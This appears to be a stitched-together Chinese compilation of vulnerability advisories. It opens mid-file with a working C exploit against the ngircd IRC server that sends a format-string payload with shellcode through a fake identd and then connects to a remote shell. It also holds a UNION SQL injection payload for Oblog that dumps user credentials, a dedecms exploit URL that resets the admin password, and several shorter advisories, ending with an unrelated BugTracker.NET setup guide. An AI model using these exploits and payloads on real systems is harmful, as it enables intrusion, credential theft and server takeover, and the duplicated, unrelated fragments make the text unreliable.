sprintf(temp, “%s”, &gotaddr);
strncat(ident, temp, 4);
gotaddr++;
}
bal1 = (retaddr & 0xff000000) >>24;
bal2 = (retaddr & 0x00ff0000) >>16;
bal3 = (retaddr & 0x0000ff00) >> 8;
bal4 = (retaddr & 0x000000ff);
cn1 = bal4 - 16 - 36 - 70 - 92;
cn1 = check(cn1);
cn2 = bal3 - bal4;
cn2 = check(cn2);
cn3 = bal2 - bal3;
cn3 = check(cn3);
cn4 = bal1 - bal2;
cn4 = check(cn4);
/* adding NOP's */
memset(temp, '\x90', 70);
strcat(ident, temp);
bzero(temp, sizeof(temp));
/* adding shellcode */
strcat(ident, shellcode);
/* adding format string */
sprintf(temp, “%%%du%%12$n%%%du%%13$n%%%du%%14$n%%%du%%15$n”, cn1, cn2, cn3, cn4);
strcat(ident, temp);
strcat(ident, “\n”);
/* running fake identd */
if(!b) {
printf(“ done!\n”);
printf(“ [*] running fake ident server\t:”);
fflush(stdout);
}
localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(IDENTD);
localaddr.sin_addr.s_addr = INADDR_ANY;
bzero(&(localaddr.sin_zero), 8);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror(“ socket()”);
printf(“\n”);
exit(1);
}
if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
(socklen_t)sizeof(reuseaddr)) < 0) {
perror(“ setsockopt()”);
printf(“\n”);
exit(1);
}
if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0) {
perror(“ bind()”);
printf(“\n”);
exit(1);
}
if (listen(sock, 1) < 0) {
perror(“ listen()”);
printf(“\n”);
exit(1);
}
/* connecting to ircd */
if(!b) {
printf(“ %s:%u\n\n”, inet_ntoa(localaddr.sin_addr), ntohs(localaddr.sin_port));
printf(“ [*] connecting to ircd...\t:”);
fflush(stdout);
}
if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror(“ socket”);
printf(“\n”);
exit(1);
}
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(ircdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {
printf(“ closed\n\n”);
exit(1);
}
/* waiting for answer */
if(!b) {
printf(“ %s:%u connected\n”, inet_ntoa(dest_dir.sin_addr), ntohs(dest_dir.sin_port));
printf(“ [*] waiting for answer...\t:”);
fflush(stdout);
}
if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen)) < 0) {
perror(“ accept()”);
printf(“\n”);
exit(1);
}
if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) < 0) {
perror(“ getpeername()”);
printf(“\n”);
exit(1);
}
if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
perror(“ read()”);
printf(“\n”);
exit(1);
}
if(!b) {
printf(“ %s:%u connected\n”, inet_ntoa(remoteaddr.sin_addr), ntohs(remoteaddr.sin_port));
fflush(stdout);
/* sending evil ident */
printf(“ [*] sending evil ident...\t:”);
fflush(stdout);
}
if (write(newsock, ident, strlen(ident)) <= 0) {
perror(“ write()”);
printf(“\n”);
exit(1);
}
close(sock);
close(newsock);
close(sockfd);
if(!b) {
printf(“ done!\n”);
fflush(stdout);
/* checking for shell */
printf(“ [*] checking for shell...\t:”);
fflush(stdout);
}
shell(host, SHELL);
}
void shell(char *host, int port) {
int sockfd, n;
char buff[BUFFERSIZE], *command = “uname -a; id;\n”;
fd_set readfs;
struct hostent *he;
struct sockaddr_in dest_dir;
if((he=gethostbyname(host)) == NULL) {
herror(“ gethostbyname()”);
printf(“\n”);
exit(1);
}
if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror(“ socket()”);
printf(“\n”);
exit(1);
}
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(port);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {
if(b) {
printf(“\r\r”);
return;
}
else {
printf(“ done!\n\n”);
printf(“ [!] failed!\n\n”);
exit(1);
}
}
if(!b) {
printf(“ done!”);
fflush(stdout);
}
printf(“\n\n [!] you have a shell :)\n\n”);
fflush(stdout);
send(sockfd, command, strlen(command), 0);
while(1) {
FD_ZERO(&readfs);
FD_SET(0, &readfs);
FD_SET(sockfd, &readfs);
if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
if(FD_ISSET(0,&readfs)) {
if((n = read(0,buff,sizeof(buff))) < 1)
exit(0);
if(send(sockfd, buff, n, 0) != n) exit(0);
}
if(FD_ISSET(sockfd,&readfs)) {
if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
write(1, buff, n);
}
}
}
int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {
int res, slen, flags;
struct timeval tv;
struct sockaddr_in addr;
fd_set rdf, wrf;
fcntl(sfd, F_SETFL, O_NONBLOCK);
res = connect(sfd, serv_addr, addrlen);
if (res >= 0) return res;
FD_ZERO(&rdf);
FD_ZERO(&wrf);
FD_SET(sfd, &rdf);
FD_SET(sfd, &wrf);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;
if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
return -1;
if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
slen = sizeof(addr);
if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
return -1;
flags = fcntl(sfd, F_GETFL, NULL);
fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);
return 0;
}
return -1;
}
int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), “%d”, addr);
if(atoi(tmp) < 5)
addr = addr + 256;
return addr;
}
void use(char *program) {
printf(“ Use: %s -h
printf(“\n options:\n”);
printf(“ -h host or IP\n”);
printf(“ -p ircd port (by default 6667)\n”);
printf(“ -t type of target system\n”);
printf(“ -g syslog GOT address\n”);
printf(“ -o offset (RET addr by default 0x0806b000)\n”);
printf(“ -b brutefoce the RET address\n”);
printf(“ (from 0x0806b000 + offset)\n”);
printf(“ -l targets list\n\n”);
exit(1);
}
void printlist(void) {
int i=0;
printf(“ targets\n”);
printf(“ -------\n\n”);
while(targets[i].num) {
printf(“ [%d] %s [%s]\n”, targets[i].num, targets[i].os, targets[i].ircd);
i++;
}
printf(“\n”);
exit(0);
}
建议:
--------------------------------------------------------------------------------
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 第三方补丁如下:
--- src/ngircd/log.c 2004-06-26 06:06:27.000000000 -0300
+++ src/ngircd/log.c.patch 2005-02-02 12:53:33.000000000 -0300
@@ -269,7 +269,7 @@
fflush( stdout );
}
#ifdef SYSLOG
- else syslog( Level, msg );
+ else syslog( Level, “%s”, msg );
#endif
} /* Log_Resolver */
篇4:Linux Kiss Server多个格式串处理漏洞
受影响系统:Tomas Brandysky Linux Kiss Server 1.2描述:--------------------------------------------------------------------------------BUGTRAQ ID: 28099Linux Kiss Server是用于替换PC-LINK软件的服务程序,可运行为守护程序或在前台运行,
受影响系统:Tomas Brandysky Linux Kiss Server 1.2
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 28099
Linux Kiss Server是用于替换PC-LINK软件的服务程序,可运行为守护程序或在前台运行。
以前台模式运行的Linux Kiss Server的lks.c文件中的log_message函数存在格式串处理漏洞,允许攻击者获得非授权访问。
以下为漏洞代码:
Function log_message():
if(background_mode == 0)
{
if(type == 'l')
fprintf(stdout,log_msg);
if(type == 'e')
fprintf(stderr,log_msg);
free(log_msg);
}
Function kiss_parse_cmd():
/* check full command name */
if (strncmp(cmd, buf, cmd_len))
{
asprintf(&log_msg,“unknow command: `%s'”, buf);
log_message(log_msg,'e');
goto error;
}
buf = cmd_len;
因此如果在buf输入类似于%n%n%n的字符串的话,就可以触发这个漏洞,
<*来源:Vashnukad (vashnukad@vashnukad.com)
链接:secunia.com/advisories/29219/
lists.grok.org.uk/pipermail/full-disclosure/-March/060550.html
*>
建议:
--------------------------------------------------------------------------------
厂商补丁:
Tomas Brandysky
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
freshmeat.net/projects/lks/
篇5:Oblog 2.52导出日志漏洞
昨天正好从oblog 下载了一套最新的blog系统,版本是2.52的吧,
本来是在qq上看到一个朋友讨论help.asp文件的入侵思路的,
那篇文章在这里可以找到,
blog.csdn.net/cqq/archive//02/22/297316.aspx
之后,顺手注册了一个用户,大体浏览了一下,
在后台有个导出日志的功能比较好,
这样就可以防止由于blog站点关闭,而自己辛辛苦苦写的文章没法保存的问题了。
csdn的blog就没有导出日志的功能,为此我还特意写了个小程序,
请看这里:
blog.csdn.net/cqq/archive/2005/02/04/280545.aspx
不过,这个导出日志的asp文件存在sql injection漏洞,
本来是导出自己的文章的,
这样一来,数据库里的任何数据都可以随便导出了,
直接危害到整个blog系统的安全。
主要的SQL代码如下:
sdate=request(“selecty”)&“-”&request(“selectm”)&“-”&request(“selectd”)
edate=request(“selectey”)&“-”&request(“selectem”)&“-”&request(“selected”)
sql=“select topic,addtime,logtext from blog where username=’”&username&“’ and addtime<=#”&edate&“# and
addtime>=#”&sdate&“#”
大家看到,所有的客户端数据都没有经过检查就直接使用了,
自然会有问题,
因为不管什么情况,客户端的数据都是不可轻易相信的,
那么,我们构造这样的输入
“selectd=22# and 1=2 union select username,answer,userlevel from [user] union select topic,addtime,logtext from blog
where addtime<=#1900-1-1”
整个的sql语句就变为了:
select topic,addtime,logtext from blog where username=’慈勤强’ and addtime<=#-2-22# and addtime>=#-2-22# and
1=2
union select username,answer,userlevel from [user]
union select topic,addtime,logtext from blog where addtime<=#1900-1-1#
这样,就可以输出所有的用户名、用户密码提示问题答案和用户等级了
当然也可以得到数据库中的任何内容了,只要适当的变换sql语句。
篇6:Linux Kiss Server lks.c文件多个格式串处理漏洞
受影响系统: Tomas Brandysky Linux Kiss Server 1.2 描述: Linux Kiss Server是用于替换PC-LINK软件的服务程序,可运行为守护程序或在前台运行, 以前台模式运行的Linux Kiss Server的lks.c文件中的log_message函数存在格式串处理漏洞,允许攻击者获得
受影响系统:Tomas Brandysky Linux Kiss Server 1.2 描述:
Linux Kiss Server是用于替换PC-LINK软件的服务程序,可运行为守护程序或在前台运行。 以前台模式运行的Linux Kiss Server的lks.c文件中的log_message()函数存在格式串处理漏洞,允许攻击者获得非授权访问。 以下为漏洞代码: Function log_message():
if(background_mode == 0)
{
if(type == ’l’)
fprintf(stdout,log_msg); if(type == ’e’)
fprintf(stderr,log_msg);
free(log_msg);
}
Function kiss_parse_cmd():
/* check full command name */
if (strncmp(cmd, buf, cmd_len))
{
asprintf(&log_msg,“unknow command: `%s’”, buf);
log_message(log_msg,’e’);
goto error;
}
buf = cmd_len; 因此如果在buf输入类似于%n%n%n的字符串的话,就可以触发这个漏洞,
厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: freshmeat.net/projects/lks/
篇7:dedecms修改任意管理员漏洞处理方法
漏洞版本:dedecms v5.7
漏洞描述:起因是全局变量$GLOBALS可以被任意修改,以下举一例,代码如下:
代码如下:// include/dedesql.class.php
if(isset($GLOBALS[‘arrs1‘]))
{
$v1 = $v2 = ‘‘;
for($i=0;isset($arrs1[$i]);$i++)
{
$v1 .= chr($arrs1[$i]);
}
for($i=0;isset($arrs2[$i]);$i++)
{
$v2 .= chr($arrs2[$i]); //解码ascii
}
$GLOBALS[$v1] .= $v2; www.jb51.net//注意这里不是覆盖,是+
}
function SetQuery($sql)
{
$prefix=“dede_”;
$sql = str_replace($prefix,$GLOBALS[‘cfg_dbprefix‘],$sql);
$this->queryString = $sql;
}
下面说下绕过80sec防注入的方法.
同一文件中,有两个执行SQL的函数,ExecuteNoneQuery和ExecuteNoneQuery2
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件,代码如下:
代码如下:// plus/download.php
else if($open==1)
{
$id = isset($id) && is_numeric($id) ? $id : 0;
$link = base64_decode(urldecode($link));
$hash = md5($link);
//这里的#@_是可以控制的
$rs = $dsql->ExecuteNoneQuery2(“UPDATE `dede_downloads` SET downloads = downloads + 1 WHERE hash=‘$hash‘ ”);
if($rs <= 0) { $query = “ INSERT INTO `dede_downloads`(`hash`,`id`,`downloads`) VALUES(‘$hash‘,‘$id‘,1); ”; $dsql->ExecNoneQuery($query);
}
header(“location:$link”);
exit();
}
构造SQL语句(提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc),代码如下:
代码如下:admin` SET `userid`=‘spider‘, `pwd`=‘f297a57a5a743894a0e4‘ where id=1 #
完整SQL语句,代码如下:
代码如下:UPDATE `dede_admin` SET `userid`=‘spider‘, `pwd`=‘f297a57a5a743894a0e4‘ where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash=‘$hash‘
测试方法,代码如下:
代码如下:// 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
如果不出问题,后台登录用户spider密码admin
安全建议:将应用到ExecuteNoneQuery2函数的文件均改为使用ExecuteNoneQuery函数并且根据情况,调试程序尽可能不要爆出绝对路径地址.
希望本文所述对大家的dedecms建站有所帮助,
篇8:qmailadmin “pathinfo” 处理缓冲区溢出的漏洞其他漏洞
受影响系统:inter7 qmailadmin <= 1.2.9不受影响系统:inter7 qmailadmin 1.2.10描述:
qmailadmin是一款由inter7组织开发的qmail cgi形式管理程序,
qmailadmin的qmailadmin.c在处理path_info环境变量时存在边界条件错误,攻击者可以通过特制的url请求触发缓冲区溢出,导致拒绝服务,
补丁下载:
www.inter7.com/index.php?page=qmailadmin
关 键 字:其他漏洞
篇9:bug漏洞处理机制系统bugtracker漏洞预警
为公司配置了一个Bug跟踪系统,找到BugTracker.NET,读了一下,翻译了其中的配置方法,以后有研究心得再放上来分享。
有需要的朋友可以在下面的网址去下载sourceforge.net/project/showfiles.php?group_id=66812
BugTracker.NET的首页是ifdefined.com/bugtrackernet.html,开源软件。想研究源码的直接下回去研究就是了。
你需要安装IIS 和ASP.NET2.0。 同时 SQL Server也必须运行起来,SQL Express也可以
下面是主要的步骤
1.解压缩zip文件到一个目录
2. 创建一个IIS 虚拟目录并且指向刚才的文件夹。请查看下面的连接support.microsoft.com/kb/172138 了解如何创建IIS虚拟目录
3.编辑文件 Welcoming ,根据不同的节改变如下的设置
LogFileFolder 指向 日志文件夹
AbsoluteUrlPrefix 指向首页
4. 创建数据库,名字根据喜好而定。 如国你没有SQL Server Management Studio Express来创建数据库。你可以用BugTracker.NET 的
网页来替代这个工作。首先设置Web.config中的ConnectionString 指向master数据库,打开网站导向到首页。选择Setup Database Tables联接,然后点击Create Database按钮。
5. 修改web.config中的ConnectionString指向你新创建的数据
6. 打开浏览器导向到站点的虚拟目录,并且以用户admin(密码是admin)登陆(如果默认页面不是default.aspx,请在IIS中指定默认页)
系统会提示运行setup.sql,创建表格,你也可以在SQL 企业管理器中运行这个脚本,
7. 请认真读下面的警告
警告:如果你打算在公共服务器上使用BugTracking.NET作为您的Bug跟踪管理系统,当安装配置完成后,你还应该做下面的事:
1. 改变admin帐户的密码
2. 删除下面的文件:query.aspx install.aspx
现在,你可以开始通过点 add a bug 开始创建bug. 请花一些时间来阅读这篇文档,同时也请阅读web.config了解你能用BugTracker.NET能为你做什么。
如果你打算备份BugTracker.NET数据,备份下面的文件:
1. SQL Server数据库
2.Web.config中指定的UploadFolder.
3. 你的自定义配置文件
a) Web.config
b) btnet_service.exe.config
c) btnet_custom.css, btnet_edit_bug.css, btnet_search.css
参考文献:ifdefined.com/bugtrackernet.html
网盘下载:点击下载
其他下载:点击下载
★iShowMusic V1.2 写入shell漏洞漏洞预警
文档为doc格式